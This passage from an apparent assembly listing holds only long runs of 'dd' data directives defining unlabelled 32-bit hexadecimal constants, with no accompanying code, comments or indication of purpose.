		dd 42402144h, 501C9430h, 0A62411E5h, 23184363h,	0C9081054h
		dd 420A4C2Ch, 15A02393h, 0D4230DE0h, 0E4C4D010h, 19C432C5h
		dd 0B819DE8Ch, 438C380Ch, 102823ACh, 0C4BCC89Ch, 5BAC3284h
		dd 0C454083Fh, 8A736493h, 0A063EC2Ch, 0C4D463C4h, 8C38E462h
		dd 38478CC4h, 3C46283Ch, 0AC2146BCh, 480C4C71h,	93780885h
		dd 6ADE8A52h, 4029C63Eh, 0C47C8892h, 4C8A10CFh,	5443544Ah
		dd 30445021h, 438E2068h, 0DCD02B0Ch, 0CC8978BCh, 5C884A4Ah
		dd 4285864h, 48521F87h,	0DCC792F0h, 9DFC4488h, 0F40D1267h
		dd 0BC0CAC31h, 0FC4264A6h, 0E7089424h, 0BCC4D8F4h, 9064212Eh
		dd 92A0A160h, 7490290Fh, 0C8C98090h, 27C4083Bh,	6C435CD8h
		dd 74456821h, 907C4A28h, 434A8652h, 0B1902B50h,	0DCC94010h
		dd 0D892E6Ch, 86201818h, 90C4D821h, 0D870CA10h,	0E42290E4h
		dd 0DC7DF04Eh, 8C18788Ch, 7021D847h, 7032FC73h,	0E85AE114h
		dd 8F91E811h, 0AC8810CCh, 848810EFh, 237C435Ch,	0BE5F9778h
		dd 405DAC02h, 6A965F5Bh, 339F9097h, 35392FF6h, 21D77229h
		dd 0FF2C74B5h, 9784F0F2h, 5C9826CCh, 0E13F9C41h, 56C77026h
		dd 6A9F12A4h, 21F6F0EEh, 201995E3h, 8141870h, 84731C34h
		dd 90150632h, 0E438A7AFh, 42E43824h, 0BCD2109Bh, 11857BA8h
		dd 0C4E1DC28h, 159E32CCh, 30A24790h, 210E3439h,	0AC6A90B4h
		dd 38118513h, 98713CC8h, 6285360Ch, 403994DFh, 1087441Ch
		dd 5602C880h, 4888AB42h, 64384CE4h, 0BBCE2186h,	7F0A7751h
		dd 8854438Eh, 2B9A644Ch, 58444321h, 431C5C72h, 59662130h
		dd 60230A0Fh, 18E26490h, 0C40A3219h, 687293DBh,	100E6C39h
		dd 909E9AFCh, 85A7A8BAh, 21DD7011h, 0CA32E4C4h,	0A2739015h
		dd 0E7C3978h, 9690C821h, 868C3FACh, 22944326h, 75392D70h
		dd 15564652h, 6412882Dh, 27506614h, 104217AAh, 7DE92274h
		dd 25601192h, 7477FE3Bh, 0BB08C3B5h, 4C76BBC6h,	710A2986h
		dd 38A3880h, 0E857536Ch, 0D8556DC2h, 85591FB6h,	9466BADBh
		dd 0D625200Ch, 50DF56BFh, 0C7012B41h, 0E8535750h, 0B23BD2C4h
		dd 0C38B187Ch, 7024801Eh, 0E4E81730h, 0CC23AEC1h, 7A341010h
		dd 8C0C89D4h, 510325FAh, 0E9E58BC6h, 0A9CA866Ah, 8F0FD268h
		dd 0F78B3006h, 0C3422024h, 0C62D5979h, 65B6DE5Bh, 0D0BC985Dh
		dd 6EB7075Eh, 3008F57Ah, 0E815F842h, 8B27DF0Bh,	828B9EF6h
		dd 0C071F6C1h, 7DC73B47h, 0C87B0578h, 0A767EB3Fh, 0B5FFC1C9h
		dd 157E2940h, 3114018Ah, 740AFA80h, 0D0A8105h, 1C880375h
		dd 63B41F4h, 33EB7CC8h,	7E1F42D2h, 32933822h, 0EA4CEBA0h
		dd 919F201h, 0FF811074h, 7DAE2077h, 508C890Dh, 24739BDh
		dd 7CD03B42h, 33E039DEh, 73A41774h, 48507E89h, 0B94FF1C1h
		dd 488B31C8h, 0C5DD35C7h, 0AE082444h, 0B914D821h, 3C004145h
		dd 788DABF3h, 2E8572FFh, 18711F7Ch, 8A103BDFh, 0AE060428h
		dd 59801270h, 0FE4CFE46h, 1C890018h, 0F73B4B81h, 5B61E57Eh
		dd 0BE0FC37Ch, 3A044098h, 3C80D5E3h, 7C591D61h,	7F7A460Bh
		dd 0C1B72807h, 0F12A6046h, 0B8FE0869h, 8F870C5Fh, 46C120E2h
		dd 24BCA402h, 6945C095h, 8AF672D0h, 0A4CC7FF7h,	56EF44F4h
		dd 0B29F15A3h, 2E766EE8h, 8B4E1440h, 72EB24FEh,	0D9AB4C1h
		dd 46C1837Dh, 8441EB6h,	14748107h, 4C6226EAh, 9E085D28h
		dd 6D251F6Dh, 0FEF455F0h, 814DAA84h, 0CE2BCA82h, 787E2620h
		dd 3C11702h, 72A2FCF8h,	8D953661h, 4D49FF72h, 0C142CF6h
		dd 43511F2Dh, 8C29EA60h, 0C04D604Bh, 0B275C14Eh, 8984E4Fh
		dd 0CF8A7F32h, 801A4C03h, 94F7EBC3h, 901647Eh, 81A54656h
		dd 0F7C26AB1h, 68505246h, 2BED5016h, 0F85C0DA3h, 15401238h
		dd 1F46CC68h, 80088A60h, 7F1F19F9h, 7F090A05h, 0FAF1EEA4h
		dd 7148E020h, 1419A38Dh, 1D0C72D4h, 0EB742E08h,	0E67C2105h
		dd 50562F20h, 0B7C6FCBEh, 34689C10h, 0C8D99C4Eh, 9FE11B20h
		dd 184BABE4h, 0E4D7B2ECh, 10BD247Ah, 0F82A74DEh, 14448101h
		dd 0E521D7BBh, 9948FA1Ch, 1E7E49D4h, 2813D09Bh,	8A1DA80Ch
		dd 8C52CC7h, 1A7E9A55h,	0B148BFF6h, 601585A2h, 3BE81B80h
		dd 644C74EEh, 0A1A84ABDh, 0AF04B499h, 0E06C4106h, 0FA894346h
		dd 221F4868h, 0DC55CA70h, 1474134Bh, 0DB487C19h, 71B6E211h
		dd 0C8AC69B7h, 2555F253h, 0B9F6B03Ah, 0FC9EA6Fh, 11947C52h
		dd 0D9572DD8h, 5BF4B132h, 0C5096640h, 64BB011Ch, 0E4F304F6h
		dd 37EE24FEh, 99146F3Ch, 0C60C6898h, 735ADCA6h,	0C25E56E2h
		dd 8B8B034Ch, 0A191430Dh, 0D32F30C8h, 0E8D612ADh, 4C748528h
		dd 0B64E9BE8h, 6FF03C03h, 0B148B1F3h, 95791D28h, 0B7E18CD8h
		dd 2750A7Fh, 7A40340Bh,	0CCD64F14h, 36A71639h, 93E4E932h
		dd 0E9604EF3h, 6068853Bh
		dd 0C7E88A42h, 0E3EA939Eh, 34048605h, 0E946066Ah, 35B94F59h
		dd 0C2C60868h, 64090764h, 0E45C4F87h, 0F4E7450h, 7752431h
		dd 6E62AE20h, 40C57315h, 9CE588B2h, 0DE1D4C8Ah,	66CAF484h
		dd 0A0200E12h, 0D46827FDh, 0B58F7710h, 0B2332BDh, 1A0A7C14h
		dd 0B01A0802h, 4091BAFDh, 4E0FFE95h, 7013B886h,	505222A4h
		dd 90681544h, 0AD52233Dh, 1986DDD8h, 0C13828C9h, 0E5959C8h
		dd 47708652h, 0B27E2F8Dh, 0F86F95E6h, 0A818C344h, 1D2A575Fh
		dd 0D3984587h, 0BF2A7D7Fh, 0A44A6804h, 0C7566620h, 0F5B45A45h
		dd 0D40E9B91h, 5566822Dh, 0A915E925h, 7E502511h, 7F50ED22h
		dd 0D25BEC8Ah, 12921269h, 29931BD7h, 4824F42Eh,	0C74F1BBh
		dd 0A6B45E97h, 4CB57E30h, 0C8B08681h, 7549F06Eh, 0FAA84511h
		dd 40080B48h, 34C52FB5h, 0AEE49F27h, 0FB56EC44h, 18600671h
		dd 0B572C712h, 0C1B95716h, 60BEFDB0h, 0BD8DB9F0h, 26B7E7A0h
		dd 97F7A8D4h, 68285A5Ah, 0A41971E0h, 59E525E8h,	92CEB421h
		dd 96B9F1Ah, 4C386376h,	2384E7A0h, 7E3FBBECh, 944C485h
		dd 474018B8h, 0B8593B4h, 26F0A84Dh, 51B87D1Bh, 56081912h
		dd 7028BE40h, 0B1A2E45Ch, 12546E1Bh, 0BEA7E841h, 4925226h
		dd 295CCAAEh, 0D8120F19h, 0A5DEE8A8h, 0BBC3FF04h, 41F8381Ch
		dd 0D60D1097h, 8502B41Ah, 0FF0274C9h, 707E6CE1h, 0AF90BD88h
		dd 574D4356h, 489678C6h, 0F4B7DA26h, 44E076A9h,	2BC820D0h
		dd 5C7404CFh, 0BB32E983h, 7E126336h, 0A236748h,	4417556Eh
		dd 2FF78CBh, 44B4C068h,	0B3142183h, 5DEB0C01h, 21BB8468h
		dd 0BF4948AFh, 11F256D3h, 0DA832998h, 20A06EE2h, 74F73B10h
		dd 0CCD1286Ch, 0B75EA456h, 39B762E0h, 37763E02h, 0CA045E8Dh
		dd 69F273h, 18C38347h, 0F1723E3Bh, 6823EB0Dh, 65099540h
		dd 0B2ACC0BDh, 480E4844h, 22FC189Fh, 108B1005h,	4BBC21B0h
		dd 0AF2C5AA1h, 0B3F868C3h, 0D9CCF927h, 21412F8h, 89581035h
		dd 0F76A9357h, 0ED89A1AAh, 82DF94B2h, 62D7F612h, 0F03C4F8h
		dd 50F3F2B6h, 0AC8542Bh, 0B90F5F2h, 0FCF089F1h,	3BC26C06h
		dd 322DB24Ah, 80FAE28h,	0F9C9D233h, 1F7E4480h, 0FE16418Dh
		dd 9C10D157h, 0DEF71EDDh, 0DF710CC9h, 0B70FAA20h, 0D738033Eh
		dd 75488146h, 4EB5FF6h,	4C082392h, 6960567h, 89D0033Eh
		dd 0D5E281CAh, 0E9C10221h, 5EDBF710h, 0E80D7FF7h, 0D0F7F010h
		dd 209E7799h, 50120190h, 0A2F1B8BAh, 769C5F49h,	3A478FA1h
		dd 4B70FE8Dh, 0E7C69FC4h, 7729E29Dh, 0F05E6116h, 0D23ED6A5h
		dd 18B9112Ah, 82EB15D8h, 637D06EAh, 5D2E2398h, 803F3A5h
		dd 6A42B544h, 0AE9957B1h, 21B07F5Dh, 0BF1AA453h, 0C088C979h
		dd 78BC67FEh, 468A38B8h, 17FC427Eh, 31FF0E98h, 0C2AF084Ch
		dd 4CC2D157h, 5A9B0CCFh, 0EB4A68AAh, 6A2785BDh,	0E00C7376h
		dd 0A2806053h, 0B960D564h, 48E7DCB8h, 7EE8456Dh, 0C10A40DBh
		dd 6BCBC87Dh, 0EE200A10h, 267EC05Dh, 61F6A6DFh,	0AACB956Ah
		dd 0F117FCBBh, 0CDA2C475h, 78229C52h, 15C1D09Fh, 0FDA7CC0h
		dd 7823944Bh, 218604CEh, 235EB09Ch, 0CA628932h,	0AE3A300Dh
		dd 0A3E82AE1h, 88BCB8F3h, 1FEFC48Ch, 0F602CC23h, 32B08946h
		dd 74EB997Dh, 0AF59F593h, 7CEE3675h, 97AC7F75h,	0A72459BFh
		dd 0F6D2AB5Eh, 7508431Eh, 0B2A7378Eh, 5D1407A6h, 62FED211h
		dd 0DE98C057h, 7A8CAFBEh, 0E550827Dh, 22DECC53h, 21D046E4h
		dd 885408CCh, 0ECC4D0EFh, 0C1E0230Ch, 0CE2EAD5Ch, 51A8535Ah
		dd 89D03A3h, 0DC9C0E65h, 11B1D0FFh, 0BDC4BCE8h,	0A388B999h
		dd 42F91BF7h, 0BBCC3C52h, 393452B6h, 4C55EE12h,	0B81264ABh
		dd 0C047B9C9h, 0AAB24F88h, 550A3FC2h, 88C8F2F8h, 75373ED8h
		dd 0CC2F8943h, 727ED4A2h, 9C4AE2C3h, 402275FFh,	9488D4B9h
		dd 0D492EF35h, 0EBE67C14h, 6E4D3184h, 0A63B5E0Bh, 0E8E83B12h
		dd 9E4C4653h, 0C22B2FD4h, 5037E579h, 34BF5375h,	0D885092Ah
		dd 4E67777Ch, 0AA56CE95h, 0D5E8CF0Fh, 28EBB4A7h, 3CC3F248h
		dd 57A57FD0h, 808839B7h, 57AE886Fh, 0D8871B88h,	268C0BB3h
		dd 78E5AC23h, 1ABA94A1h, 6C12389Ch, 0C30399D8h,	9CA1D67Ah
		dd 880D2842h, 6A5E7990h, 8064CF6h, 8BB5FEE8h, 8D2C179Ah
		dd 2E38154Dh, 35636F51h, 0B8555E98h, 0E809A070h, 5F94AAA1h
		dd 20B8426Dh, 1CF99F02h, 0DC55A72Dh, 0C49A5C89h, 0A939FF27h
		dd 0E7DB32BAh, 680C0AD8h, 9A63EBFCh, 0EE5284ADh, 0D21C3311h
		dd 190910BFh, 0C948121h, 35D9714h, 0F32D9429h, 779A59Fh
		dd 487FC64Ch, 8C476405h, 0C228743h, 0D195FF90h,	9D3A468h
		dd 212A0BBh, 259DF95Dh,	0AD4A7A5Ah, 0DFDF4877h,	561816A9h
		dd 0A694359Ah, 0F0CE1DCh, 2FE5845Bh, 75FC7C40h,	0B21AB42Bh
		dd 0FC1B903Ah, 810D7430h, 0F2F87D2Dh, 0B50F7C09h, 908FC29h
		dd 9DEBC3D9h, 7665FE67h, 205F5CB9h, 740A0654h, 0C83B4054h
		dd 56F0722Eh, 28447DA1h, 72FBF428h, 47184229h, 8A68217Eh
		dd 66176D74h, 0D4453053h, 8CAB6845h, 499DE972h,	0AA724045h
		dd 9068AF06h, 1F8C54B6h, 18B3825Fh, 0AA2C2778h,	19266F9h
		dd 2E8F961h, 5468318Ah,	1C595929h, 21938C03h, 232CEAB4h
		dd 0E0238E36h, 62554AA9h, 0E8180378h, 0F59BAAABh, 6C88E6C9h
		dd 0B754F1B1h, 0C53F500Fh, 0D0F46BFh, 11083D8Bh, 94D16B31h
		dd 0D8FDB33h, 0C76C43F0h, 3BC20C2Ch, 7AEC5D89h,	2DD75002h
		dd 565B8C98h, 0C5FC8663h, 2C811722h, 0D08A0482h, 32C4D2F8h
		dd 0C45FD77Ch, 0A90DD4D5h, 740B1121h, 0D4B0905Fh, 0ABCF8056h
		dd 8C64C6B4h, 1D4BC133h, 0C9D75513h, 0F412996Eh, 6C80C99h
		dd 9B55BFCCh, 6EC78C7Dh, 0CC54A208h, 4FAABB26h,	0AA9FCA55h
		dd 1B8389Ah, 0BCDB22DAh, 0E4A49A79h, 7DC20893h,	2C7A57E9h
		dd 8C0BACA2h, 0D76B4A64h, 0BE245F9Eh, 9EB289A3h, 9C15F816h
		dd 4CD43C08h, 83BD923h,	0FB0C7C70h, 74134C22h, 0EBE34105h
		dd 32685301h, 0B5E80B7Fh, 952DE6AAh, 0B741A978h, 0A7A5C2FFh
		dd 4D20F8A1h, 97FF69DCh, 0C820359h, 12D08F89h, 24510EC1h
		dd 0A54EC555h, 0ACD3F9E2h, 908721F0h, 0FC74B727h, 21B6D844h
		dd 0DD7FAA5Dh, 700640Dh, 7EA7B591h, 2EABCA37h, 0D2E96FE9h
		dd 62134475h, 518013F1h, 10BEE282h, 6A010C70h, 442B5F3Ch
		dd 2A8E0C24h, 0C24DC88Bh, 0E1F6E132h, 990857F0h, 68511A01h
		dd 0BEA2515Ch, 6AB651D8h, 70E8F832h, 3F66AF4Fh,	0AE7ABFAAh
		dd 4240BF0Eh, 318A1C0Fh, 8B0D5368h, 0FD266CDAh,	0C62B2262h
		dd 0D31BA1C0h, 86525728h, 35C83532h, 0D5C07FF2h, 0D70777F6h
		dd 0DF3B0472h, 0E434D166h, 196F9064h, 33C79CE8h, 0CE16B4CAh
		dd 0C985FA00h, 145B7758h, 0B6830572h, 6A9B733Ah, 22F6244Bh
		dd 10A17777h, 31421247h, 8937083Bh, 842B1832h, 8C212644h
		dd 1E221B42h, 0B211946h, 7C730A0Bh, 2B203075h, 1B025FC7h
		dd 13C303D1h, 0B6EFFD6h, 2D096821h, 0FF40F450h,	5EEC9257h
		dd 4BCE24FCh, 1BDC940Fh, 0B110C42h, 7127435Ch, 750400AAh
		dd 3C9D3952h, 261913DEh, 0FE144422h, 346770C6h,	2146B890h
		dd 6F0F0210h, 2964E0E2h, 70EB468Ch, 0A2E802Ch, 59095175h
		dd 30551202h, 4544755Ah, 43528484h, 7505085Bh, 102CE833h
		dd 0C5298880h, 7C124801h, 2631744h, 0E9742122h,	1C707D42h
		dd 382F7512h, 7471D1BFh, 0B6EC2E27h, 0FD180ED8h, 68FC53A0h
		dd 834DA8E3h, 99D4855h,	640F2514h, 0A1316631h, 3F6A3164h
		dd 0A485E0E3h, 0D9DBBFFDh
		dd 1263A61Eh, 67E9A9A1h, 740BF8C0h, 0DD094BC2h,	516E820Fh
		dd 0EF27689Dh, 0C729D0CDh, 0FEF56F1Eh, 0EF28FF4Ah, 0D94BB5F4h
		dd 64BD39ACh, 0F8304AFAh, 0C34C3622h, 881C4CE6h, 0AA7C9C4h
		dd 0FB9A8059h, 1FD15773h, 1BC95F52h, 535D9240h,	692927FFh
		dd 820BA7Fh, 0C621C9Ah,	0FF322E6Ch, 206A2361h, 81C8DC96h
		dd 29A7F090h, 99719F38h, 22441110h, 261F24EFh, 28384066h
		dd 57AC4BC6h, 0F69885C2h, 164C1082h, 79606A02h,	0F81808FEh
		dd 0B5E91A4Dh, 21230A46h, 9024F998h, 88FBDB12h,	149550C7h
		dd 7EC5298h, 9FD457Eh, 9F4CDFAh, 6A0DD61Dh, 7F98F32Fh
		dd 0C959B55Ah, 380C3C0Ch, 47DA284h, 5256FA7Dh, 0FD11BB0Eh
		dd 14B812B5h, 0D05B62BEh, 19A81091h, 0A1A60C61h, 4BAC2829h
		dd 74D6D9B7h, 0AC5A0971h, 900BB524h, 73C1D450h,	0BE560284h
		dd 45987780h, 49CFF74h,	46A6E662h, 0B53DE60Ah, 1506EC2Bh
		dd 1C84284Ah, 1D2A66B9h, 6DF8245Fh, 421613CAh, 1166E468h
		dd 7AA63728h, 142F666h,	0F8F84A4Ah, 16DC2ABBh, 0EB172143h
		dd 1F4B1B26h, 0D4BEEFB8h, 1A410FDBh, 3407E894h,	0FAE9573Bh
		dd 4B5773A5h, 0FC7632E2h, 0F4F37960h, 0F2FE9759h, 0C8015CEDh
		dd 110FB894h, 1CCBAB41h, 5CE224DCh, 448FD906h, 0FCA43165h
		dd 0D6242E19h, 9081F4BAh, 4AE5708Ah, 0FE8824B8h, 4D069E86h
		dd 301892FCh, 0F7E8B0BAh, 381BA554h, 0A6E9FC86h, 0DB0CFB0Eh
		dd 0CCF24A8Bh, 12A9F9A6h, 0DB8415C9h, 1D998CA8h, 4B94DBBh
		dd 738AA80Fh, 2AD1E49Fh, 0F863FCA8h, 0F659B5D8h, 0A818ADB8h
		dd 3D6A1864h, 0EAD75C90h, 5D39E630h, 15761ACCh,	98326CFFh
		dd 0E84521DFh, 0AC79BDBAh, 75B70FC1h, 9A1E47D0h, 0B26ACB9Bh
		dd 1E31E0C2h, 5A1A47E0h, 0DC12CCA7h, 538234C8h,	0AFFA27D4h
		dd 0DACFEBC9h, 531A9168h, 0F72E92C6h, 4E51B488h, 919376F4h
		dd 8C50499h, 2F109528h,	7426F33Bh, 0F893F961h, 48D9D5A8h
		dd 42AB3228h, 342293FEh, 9A94C61Ch, 40743FF3h, 90D303E8h
		dd 0FA49D9D0h, 6D92EA04h, 732F27BAh, 0F29B9B0h,	0B43E1628h
		dd 8B0F1B7Ch, 8B269013h, 18EB02F3h, 1D893C68h, 31F8D384h
		dd 0F608FAA4h, 0B860A341h, 0BAFE4B2Ch, 0FAA4E271h, 0ABAC3008h
		dd 0A3E3A84Eh, 11FCA411h, 39D07C87h, 0BB011F85h, 0C588A731h
		dd 0D158BC2Fh, 28B51809h, 4E7BE873h, 0F2B4BDA1h, 0A64AD751h
		dd 481CB978h, 0BF094409h, 5CDEDAB8h, 1E2FFE3Eh,	8E42B25Eh
		dd 1F4EDBA7h, 0BDEE80Fh, 0FE81F703h, 7C824CDEh,	8F42EBDFh
		dd 6953E2B4h, 572D85F6h, 899E0C92h, 0C0DC853Bh,	179BB05Fh
		dd 5161073h, 9F6818BCh,	6B868D3Fh, 90753960h, 0A4BBF1ABh
		dd 3D247CA5h, 0F6E47005h, 0AD2AF15Bh, 69C21CFEh, 0EB2B9356h
		dd 0A72CA60Ah, 0B108285Bh, 3314437Bh, 209B34FDh, 468D3696h
		dd 54501831h, 4AAF3468h, 21C3B45h, 0A83F2722h, 23B86A71h
		dd 426F65FEh, 0C6812C42h, 5C47AA91h, 78A6B6BFh,	2F5671B7h
		dd 595D7992h, 0F4BB1F5Bh, 0BE20CCCDh, 4364C9FCh, 12003BE0h
		dd 838D7F6Ah, 6F5312A1h, 3690CA34h, 123BDF2Bh, 0EBE37DDEh
		dd 0CAA7368Ah, 0C2C0A5A3h, 5C84A7A6h, 17E46028h, 85DFF4Eh
		dd 0D183693Dh, 25E885ABh, 32151FC2h, 78D66512h,	0A4B8586Ch
		dd 14337883h, 22050888h, 19B3D29h, 4C39F27Ch, 9CE1E624h
		dd 75B58574h, 12A95116h, 180BCA7Dh, 85E80404h, 982C8D7Ah
		dd 598523E2h, 0ACC3795Eh, 0E33E41C4h, 0F6CB4154h, 21CCE3E5h
		dd 0E211275h, 0D115305h, 33DD0B54h, 169D51C0h, 2D1CA640h
		dd 0BAE1DB03h, 25E422C3h, 54EAD233h, 37001CCAh,	0F0553947h
		dd 0FC738973h, 6448A0A2h, 524F1E75h, 5C7A02A6h,	0BA22DFECh
		dd 32A2B5F6h, 4C7941C1h, 0BD22808Eh, 506EE168h,	0DF4109FBh
		dd 29E3EAE2h, 32B9184h,	9F80A93h, 6C330879h, 1E3BE731h
		dd 0B048527Dh, 5E36AC3Ch, 8AB4F819h, 0C2683C13h, 0BFD63411h
		dd 0CA760511h, 85C47256h, 1B92ED67h, 54A631DFh,	6801FCE4h
		dd 0E89D48ACh, 0E8A0A52Dh, 5F395959h, 2000A075h, 5E1B5652h
		dd 0E821A8B3h, 3A114BA1h, 6A991F90h, 9DE638D2h,	9E421CFCh
		dd 0EE36FD25h, 86F3515Fh, 0D8BBF604h, 3FC4A5C2h, 9A826284h
		dd 0B0B3D63Fh, 4B6FF02h, 76C8BB4Dh, 150641E1h, 0D7FD2F08h
		dd 4842FC4Eh, 0A81A8694h, 0A449BE91h, 53570BB0h, 11789E19h
		dd 0C490AEBh, 0FE41D43Ah, 0E6087E38h, 721817FEh, 821A3A4h
		dd 61042454h, 7ACE8310h, 21741804h, 538036B8h, 0DE8B028Ah
		dd 0EC12339h, 0A7C333D9h, 4B008EEh, 0DF126085h,	2F01DE4h
		dd 5BE6754Fh, 0F72D3FD8h, 3341A3D0h, 0F9D44CDBh, 70DCF16Bh
		dd 7369E40Bh, 0E8F0034Dh, 0EF85A688h, 0E42A28Dh, 1C65DE26h
		dd 0E8547343h, 0B18AECB5h, 526457ECh, 0D409B844h, 0AC12050Ch
		dd 0F68FC8B6h, 3EE8474Fh, 514BD81Ah, 3DBB21DEh,	0D767F88Bh
		dd 96E457ADh, 8B2FAEB3h, 5BA6F654h, 5DD092E9h, 0F8155BE7h
		dd 0FE3B17B5h, 9CF03BCCh, 9F938B53h, 0CCD392DEh, 0BA175665h
		dd 29948132h, 0F6180955h, 0F70813C1h, 22741396h, 0EF9238B2h
		dd 11BC7956h, 0B5A51B6h, 0F34075F6h, 5A0274EBh,	0B49D9CC7h
		dd 4E2A1144h, 6D0B28A7h, 0FE4C2186h, 9397F82Ah,	0EB548C9Dh
		dd 8EFE5410h, 0C55EB042h, 51D8AC97h, 4CDA2412h,	2D68EE40h
		dd 0E71BBA4h, 33359E10h, 0F8C50C2Ch, 57521B34h,	2AF14F1Bh
		dd 9641E92Fh, 0B877F149h, 84EE4C35h, 28FB9D21h,	9C0D2663h
		dd 0A5567A35h, 4D23564Ch, 831BC8F2h, 72B4C9F8h,	0A071960h
		dd 1B76A1A1h, 595E3922h, 0D8989DF2h, 0E5BD9BA1h, 646A8B9Dh
		dd 0EAB524E6h, 0A15BDE46h, 0C602534h, 0D28C9E1Ch, 483DFA21h
		dd 3883827Ah, 6CF08DB8h, 11944B84h, 5E846999h, 950BB8EFh
		dd 58142B82h, 2C07323Ch, 29CCC69Ah, 9438A375h, 10DDC518h
		dd 43C2429Dh, 0ECDEF3C3h, 0FA47766Ch, 2FA9DE8Dh, 4F1EBFCh
		dd 0C8BD270Ah, 0C2F06904h, 5643F616h, 893304BBh, 6EC08998h
		dd 0F43448B2h, 5CDBFE06h, 0A75E801h, 8BBD4468h,	0F4B9E992h
		dd 56D0C261h, 149D1C02h, 6BE92EFDh, 0D2724DD2h,	6551223Dh
		dd 73EBD488h, 7C2174DDh, 5A7B110Ch, 52F6A5BCh, 5A34ED6h
		dd 97D2B240h, 7A496F5Ch, 208526B2h, 30804D43h, 0A44439E1h
		dd 144D798Bh, 140D848Ah, 0A8CF3C3Ah, 415F21EAh,	9F9FC0Dh
		dd 20411903h, 0B444D5Ch, 59E2A039h, 53CD2F76h, 0F64D4771h
		dd 0E92F7723h, 0FA97F1C4h, 34FC969Bh, 28DBEF64h, 6203A65Fh
		dd 27BCD854h, 35B208D6h, 282E2D90h, 0A4FC8B98h,	232104D0h
		dd 0B44C7CE9h, 7E33F3BFh, 0EC9AFAEh, 1037F904h,	0A58789BCh
		dd 12275640h, 0EC2E357Dh, 1343466Ah, 48897427h,	0C7330A78h
		dd 0D94F3C06h, 8259D95Bh, 0E9CF13FBh, 6E13970Dh, 0D6FBA9C7h
		dd 207F582Ch, 50445652h, 6834AC26h, 4C61C394h, 0E90173DBh
		dd 20552324h, 0B81CE7ECh, 84D8CEBDh, 0C95995D8h, 684B582Dh
		dd 0CB916F5Ch, 1B448642h, 0A6EED9E3h, 39E5EC5Fh, 0A23D4CFEh
		dd 6EE1BF21h, 126B8E8Dh, 5ABBA8E2h, 0B45BF9E9h,	1784F588h
		dd 989B2CE8h, 0F72F0C1Bh, 7F6F42D8h, 519DA0C6h,	0CBE0908Fh
		dd 0D347E6F5h, 932DAA31h, 0A2B51418h, 0BCCE7D88h, 9956ABC2h
		dd 1176E201h, 1C4C571Eh, 0F4552F11h, 0C30342DBh, 85AC8C0Fh
		dd 0BFC6B0Ah, 2937A111h, 668593ECh, 0CAE8815Bh,	8A6C5E44h
		dd 90F7D255h, 81327E8h,	20C4F25Ch, 0BCCB55F8h, 450BEDEh
		dd 0BC0888FCh, 99F72C84h
		dd 1CE7682Ch, 752092B0h, 9A4C5598h, 9D72E5F7h, 25265851h
		dd 3B0CF762h, 74D61FEh,	91A9B23Fh, 616093C3h, 5C7DE8A8h
		dd 72E72497h, 9E5ADCBEh, 9F52A6D0h, 3A1153EBh, 58A7907Dh
		dd 188AF5F6h, 93CF141h,	0AFFD396Ah, 0A10069F6h,	40C8A667h
		dd 4180F7C9h, 1046846h,	2267EE82h, 0D895FD3Ch, 9B399563h
		dd 6885365Ch, 0F7E9072Eh, 98FBDF30h, 4A9C33BFh,	1773EA28h
		dd 2DF9C502h, 7FB4AAA4h, 0C7BEFA68h, 6946EB14h,	43185E32h
		dd 2784BE4Ch, 0A1549FAAh, 4251FCE6h, 911E2F0Ch,	0EC284822h
		dd 0A6F95684h, 58D45A86h, 0BDD86B81h, 0FB423C08h, 0C8987E10h
		dd 0E43EAEFAh, 0E7E2BA3Ch, 9998DE12h, 0BF10153Eh, 8C3BE739h
		dd 0C88A9A64h, 9A36747Bh, 4E24843Eh, 373D4457h,	7DD21DBBh
		dd 944C84BEh, 7CDCAF08h, 3A53BEF4h, 0F12FAC5Fh,	805898EBh
		dd 22DC4A68h, 6949F949h, 0BF124953h, 67FE4B46h,	89B5D469h
		dd 7097FC5Bh, 26AE4BE1h, 5CFAE32h, 5FE39E12h, 0C11CF25Fh
		dd 958EE8E4h, 0D39CF914h, 977C62BAh, 483BA6FEh,	0BC48B37Bh
		dd 80790464h, 0B06827BDh, 5D391C90h, 4677EC4Ch,	2916B281h
		dd 50847728h, 583F4AEh,	7459FC62h, 888A2109h, 1EEDB19Dh
		dd 0B6FA7608h, 5E01428Dh, 2FDEEDB3h, 0B942B1D9h, 4531F5AAh
		dd 887F0D34h, 0A48156B1h, 9D78187Dh, 0B9AFEEFBh, 0F3386496h
		dd 0E8244294h, 42E0971h, 2552144h, 9A981425h, 610B5820h
		dd 5D73E046h, 576E1949h, 1C76D12Fh, 5F9D08C1h, 9A7BE696h
		dd 0E2FFDE34h, 3419FD38h, 6F3322DEh, 84FAF038h,	25F3CB28h
		dd 3B27B878h, 82D21C94h, 6AEF76A9h, 7D00BE1h, 0E8532390h
		dd 11B79FFEh, 987CE4C2h, 4A963C90h, 4B71A686h, 89854978h
		dd 0A9B7122Fh, 0C43F2558h, 24CCCBC8h, 0A32D1174h, 3BC0A6Dh
		dd 0DC5E3365h, 899F7842h, 24195D08h, 0FBDA4870h, 0FA227325h
		dd 9EA7F119h, 54236A76h, 0E416E7BBh, 527AC7F6h,	0E85E6D99h
		dd 0E3AE6E59h, 0C73B0574h, 8B3F77C0h, 0E0B9DC7h, 50EDBF7Ch
		dd 44655DEh, 1090054Ah,	4ABC7D83h, 0D0A4C101h, 0BB0513C0h
		dd 860F6388h, 4984957Ch, 87624810h, 93FDDA32h, 1101ABE1h
		dd 0A1BA4974h, 22FF449Ah, 40D77512h, 546857F6h,	8A473540h
		dd 0E5894EB5h, 920F146Dh, 5BF25C62h, 3B312889h,	3F36212Bh
		dd 0E0532D64h, 63F30F5h, 1241C71Dh, 3294D8EEh, 723A02E9h
		dd 1383089Eh, 0E75F15C8h, 0F52886D8h, 25FF0D82h, 846A8A17h
		dd 44557A9h, 94BD8A31h,	785BC81Bh, 0C986F1F6h, 4C82ECB8h
		dd 0C0A022Fh, 64275145h, 0BBC47D79h, 0BEC3ADB2h, 286DDFFCh
		dd 0B097D0Ch, 16600DDCh, 1CB913F7h, 69515025h, 85152348h
		dd 8BFB868h, 42A63E7Fh,	23FC5FA4h, 0D46F6CD4h, 0C07D848Ah
		dd 0A6F8A0AFh, 0AE056A88h, 9806B5EBh, 7092ABACh, 0CC28C84Ch
		dd 8A8640D0h, 7C15D64Fh, 93C71577h, 4365BCF6h, 82219C6Ch
		dd 13DE924h, 2844E0B5h,	0A935E31h, 1B6BF4F1h, 7AC18C3Bh
		dd 98378FA7h, 0EF44C481h, 8D2E92CDh, 8A510900h,	15BD893Dh
		dd 29BF3313h, 28DD34C4h, 47353E85h, 0E31AFB1Eh,	0CC48DA2Fh
